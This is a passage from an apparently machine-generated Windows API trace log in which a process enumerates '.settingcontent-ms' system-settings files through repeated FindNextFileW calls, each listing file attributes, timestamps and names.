ftLastWriteTime.dwLowDateTime=0x2347ee66, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DateTime_TimezoneInfo.settingcontent-ms", cAlternateFileName="AAFF0C~1.SET")) returned 1 [0194.077] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24335320, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x24335320, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DefaultApps_Audio.settingcontent-ms", cAlternateFileName="AA6049~1.SET")) returned 1 [0194.077] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2448c8a1, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2448c8a1, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DefaultApps_Browser.settingcontent-ms", cAlternateFileName="AA0ACC~1.SET")) returned 1 [0194.077] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24bb39b4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x24bb39b4, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DefaultApps_Email.settingcontent-ms", cAlternateFileName="AA36FF~1.SET")) returned 1 [0194.083] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e6238a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x24e6238a, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4b3, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DefaultApps_Map.settingcontent-ms", cAlternateFileName="AA3906~1.SET")) returned 1 [0194.083] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251a978d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x251a978d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DefaultApps_Photos.settingcontent-ms", cAlternateFileName="AA1CA4~1.SET")) returned 1 [0194.083] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25268357, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x25268357, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_DefaultApps_Video.settingcontent-ms", cAlternateFileName="AA2D48~1.SET")) returned 1 [0194.083] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x258aa5db, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x258aa5db, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d1, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Devices_Pen_EnablePixie.settingcontent-ms", cAlternateFileName="AA3CE9~1.SET")) returned 1 [0194.083] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25969198, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x25969198, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Devices_Pen_EnableRipple.settingcontent-ms", cAlternateFileName="AA6E40~1.SET")) returned 1 [0194.083] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26233c93, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x26233c93, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4db, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Devices_Pen_SetHandedness.settingcontent-ms", cAlternateFileName="AA13AF~1.SET")) returned 1 [0194.084] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2671ea63, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2671ea63, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Device_Add.settingcontent-ms", cAlternateFileName="AA17AC~1.SET")) returned 1 [0194.084] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a3fbbf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x26a3fbbf, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Display_AdvancedSettings.settingcontent-ms", cAlternateFileName="AA1EEC~1.SET")) returned 1 [0194.084] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26bbd39f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x26bbd39f, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Display_Brightness.settingcontent-ms", cAlternateFileName="AA73A3~1.SET")) returned 1 [0194.084] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d86fde, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x26d86fde, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Display_DPI_Override.settingcontent-ms", cAlternateFileName="AA923B~1.SET")) returned 1 [0194.084] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27166ce9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x27166ce9, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Display_Duplicate.settingcontent-ms", cAlternateFileName="AA3073~1.SET")) returned 1 [0194.084] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x272e44a2, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x272e44a2, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Display_IdentifyDetectWireless.settingcontent-ms", cAlternateFileName="AA5F02~1.SET")) returned 1 [0194.084] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2737ce0e, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2737ce0e, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Display_IsAutoBrightnessEnabled.settingcontent-ms", cAlternateFileName="AA9A18~1.SET")) returned 1 [0194.084] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x274d4305, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x274d4305, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Display_IsRotationLocked.settingcontent-ms", cAlternateFileName="AA6264~1.SET")) returned 1 [0194.084] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27605624, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x27605624, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Display_MainMonitor.settingcontent-ms", cAlternateFileName="AAF454~1.SET")) returned 1 [0194.085] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27841919, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x27841919, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233c02ad, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c6, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Display_Monitors.settingcontent-ms", cAlternateFileName="AA5C91~1.SET")) returned 1 [0194.085] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27972bf0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x27972bf0, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Display_Orientation.settingcontent-ms", cAlternateFileName="AA4ABA~1.SET")) returned 1 [0194.085] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28702233, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x28702233, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51b, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Mouse_SetButtonConfiguration.settingcontent-ms", cAlternateFileName="AAC6EE~1.SET")) returned 1 [0194.085] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2898aa5c, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2898aa5c, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Mouse_SetScrollPage.settingcontent-ms", cAlternateFileName="AA706B~1.SET")) returned 1 [0194.090] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28abbd21, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x28abbd21, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_CursorSpeed.settingcontent-ms", cAlternateFileName="AAE56F~1.SET")) returned 1 [0194.090] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28b54686, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x28b54686, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_EnableEdgeGesture.settingcontent-ms", cAlternateFileName="AA140C~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28e29353, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x28e29353, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_EnableTouchPad.settingcontent-ms", cAlternateFileName="AA1803~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ff3009, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x28ff3009, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_EnableVisualFeedback.settingcontent-ms", cAlternateFileName="AA4060~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x291e2e7f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x291e2e7f, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51c, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_EnableVisualFeedbackPM.settingcontent-ms", cAlternateFileName="AA50D8~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x292a1a55, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x292a1a55, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_FourFingerTapEnabled.settingcontent-ms", cAlternateFileName="AABF11~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29504025, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x29504025, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2339a047, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_LeaveOnWithMouse.settingcontent-ms", cAlternateFileName="AA5689~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2965b54f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2965b54f, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_PanEnabled.settingcontent-ms", cAlternateFileName="AA25A5~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29897905, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x29897905, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x519, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_RightClickZoneEnabled.settingcontent-ms", cAlternateFileName="AAA6F5~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a568314, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2a568314, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_SetActivationTimeout.settingcontent-ms", cAlternateFileName="AA4412~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a8af6e5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2a8af6e5, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_SetScrollDirection.settingcontent-ms", cAlternateFileName="AA99A4~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b6fd883, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2b6fd883, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_TapAndDrag.settingcontent-ms", cAlternateFileName="AAE53C~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf2fa2d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2bf2fa2d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_TapsEnabled.settingcontent-ms", cAlternateFileName="AA27D0~1.SET")) returned 1 [0194.091] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c6a2fbd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2c6a2fbd, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x523, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_ThreeFingerSlideEnabled.settingcontent-ms", cAlternateFileName="AAA960~1.SET")) returned 1 [0194.092] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2caa8fac, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2caa8fac, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x519, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_ThreeFingerTapEnabled.settingcontent-ms", cAlternateFileName="AA2D71~1.SET")) returned 1 [0194.092] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cbda2ca, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2cbda2ca, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50f, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_TwoFingerTapEnabled.settingcontent-ms", cAlternateFileName="AA729F~1.SET")) returned 1 [0194.092] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ccbf0f7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2ccbf0f7, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Input_Touch_ZoomEnabled.settingcontent-ms", cAlternateFileName="AA9D0C~1.SET")) returned 1 [0194.095] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf6dac7, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2cf6dac7, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x515, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Keyboard_IsAutoCorrectionEnabled.settingcontent-ms", cAlternateFileName="AAEFA7~1.SET")) returned 1 [0194.095] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1d009d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x2d1d009d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AAA_SystemSettings_Keyboard_IsAutoShiftEngageEnabled.settingcontent-ms", cAlternateFileName="AA9BCB~1.SET")) returned 1 [0194.095] FindNextFileW (in: hFindFile=0x30d4df0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d301387, ftCreationTime.dwHighDateTime=0x1d32715, 